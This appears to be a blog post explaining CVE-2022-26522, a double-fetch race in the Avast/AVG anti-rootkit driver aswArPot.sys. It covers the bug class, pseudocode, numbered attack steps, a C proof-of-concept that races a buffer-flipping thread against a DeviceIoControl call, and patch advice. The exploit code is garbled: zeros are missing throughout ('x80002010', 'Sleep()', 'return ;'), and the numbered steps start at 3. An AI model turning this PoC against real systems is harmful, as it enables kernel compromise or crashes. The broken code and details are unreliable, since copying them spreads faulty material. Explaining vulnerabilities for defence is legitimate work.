When it comes to security software, you expect it to keep your system safe from viruses and hackers—not make it easy for attackers to take over your computer or make it crash. Sadly, that’s exactly what happened with CVE-2022-26522, a critical bug found in the Anti Rootkit driver used by Avast and AVG on Windows. In this article, we break down what happened, look at some code, and explain how attackers could exploit this issue for privilege escalation or a nasty denial of service.
What is CVE-2022-26522?
CVE-2022-26522 targets the aswArPot.sys component, which is a driver included with Avast and AVG security tools. This driver is supposed to help shield your system from rootkits (stealthy types of malware), but a logic mistake known as a "double fetch" can actually turn it into a backdoor for attackers.
What is a double fetch vulnerability?
A *double fetch* happens when a program reads the same piece of memory from user space into kernel space more than once, but between those reads, an attacker can change the contents. In kernel-mode code, this is a hazardous operation—if the memory contents suddenly change between reads, you can end up with inconsistent data, memory corruption, or even the chance to feed malicious payloads straight into the heart of the operating system.
You can think of it like this: Imagine if your bank asked for your PIN twice, and you could trick it into thinking your PIN was “1234” the first time, and “5678” the second time, and it only checked both separately, not together.
The Problem in aswArPot.sys
Inside aswArPot.sys (the driver), there’s code responsible for handling socket connections. To do its job, it fetches information from structures provided by user applications (from user-space). However, due to faulty checks, it fetches the same data twice: once for validation, and a second time for actual processing.
Why is that dangerous? Between those two reads, a clever attacker can quickly swap in different data, letting them slip through validation with a safe value, but then feed in malicious input right after.
Here’s a rough pseudocode illustration of what this looks like
// Simplified kernel-mode pseudo-code
// Buffer is from user-space, pointer "userBuf"
probe(userBuf, size); // First fetch to validate buffer
if (!isValid(userBuf)) { // Checks are OK with clean data
return INVALID_PARAMETER;
}
// ...context switch could happen here...
// Attacker modifies the buffer in user-space
copy_to_kernel(&kernelBuf, userBuf); // Second fetch, possibly with malicious data
process(kernelBuf); // Now operating on changed buffer
For in-depth research, you can check out the original Zero Day Initiative writeup by Shubham Mittal and Avast’s own advisory.
The Attack Surface
- Requires local access: This can’t be exploited remotely, but if you have user-level access, you’re in luck (or danger!).
- What can happen: Attackers can trigger a Denial of Service (blue screen / system crash) or potentially run code in kernel mode (full system takeover).
Prepare a malicious buffer in user-space with safe-looking contents.
3. Start a thread that waits for the driver to validate the buffer, and then immediately changes its contents to malicious data.
4. Send a crafted I/O request to the driver, using your buffer as input.
5. Profit: When the driver double-fetches, the first read sees safe input (passes validation), but the second fetch picks up your evil data—which corrupts kernel memory or triggers exploitable flaws.
Simple Exploit Proof-of-Concept (PoC)
This is a conceptual example to demonstrate the vulnerability. The real exploit might involve trickier timing, and more reverse engineering.
#include <Windows.h>
#include <stdio.h>
// Change as needed for your version/path
#define DEVICE_NAME "\\\\.\\aswArPot"
#define IOCTL_CODE x80002010 // Replace with real IOCTL as needed
// Sample structure
typedef struct _ATTACK_STRUCT {
DWORD len;
char buf[256];
} ATTACK_STRUCT;
volatile int switchFlag = ;
DWORD WINAPI FlipperThread(LPVOID lpParam) {
ATTACK_STRUCT *attackData = (ATTACK_STRUCT*)lpParam;
while (!switchFlag) Sleep();
// Overwrite buffer with malicious value after validation but before kernel copies again
memset(attackData->buf, x90, sizeof(attackData->buf)); // NOP sled for demonstration
return ;
}
int main() {
HANDLE hDev = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, , NULL, OPEN_EXISTING, , NULL);
if (hDev == INVALID_HANDLE_VALUE) {
printf("Could not open device! (%d)\n", GetLastError());
return 1;
}
ATTACK_STRUCT atkBuf = {};
atkBuf.len = 256;
memset(atkBuf.buf, 'A', sizeof(atkBuf.buf)); // Initialize with clean data
DWORD bytesReturned;
HANDLE th = CreateThread(NULL, , FlipperThread, &atkBuf, , NULL);
// You may need to tune timing for a real exploit
switchFlag = 1; // Ask flipper to switch input now
DeviceIoControl(hDev, IOCTL_CODE, &atkBuf, sizeof(atkBuf), NULL, , &bytesReturned, NULL);
WaitForSingleObject(th, INFINITE);
CloseHandle(hDev);
printf("Sent exploit payload.\n");
return ;
}
*Note: Running or developing kernel-mode exploits can easily render your system unstable or unbootable. Only try this in a safe virtual machine environment!*
Mitigation
- Update Avast/AVG! Both vendors fixed this bug in driver version 22.1 (January 2022). Make sure your antivirus is up to date.
- Watch for suspicious local activity: Because local access is required, attackers will need a foothold first. Standard anti-malware best practices apply.
Additional References
- CVE-2022-26522 on NVD
- Zero Day Initiative ZDI-22-412
- Avast’s official blog on the patch
Final Thoughts
CVE-2022-26522 is a reminder that even security software can have dangerous weaknesses. Double-fetch bugs are especially tricky, but fixing them is crucial—especially in kernel drivers, where any error can spell disaster. Always keep your antivirus tools updated, and remember: the tools you trust most can become the very weapon hackers use if they’re not kept safe.
Timeline
Published on: 05/08/2026 00:00:00 UTC
Last modified on: 05/08/2026 16:02:14 UTC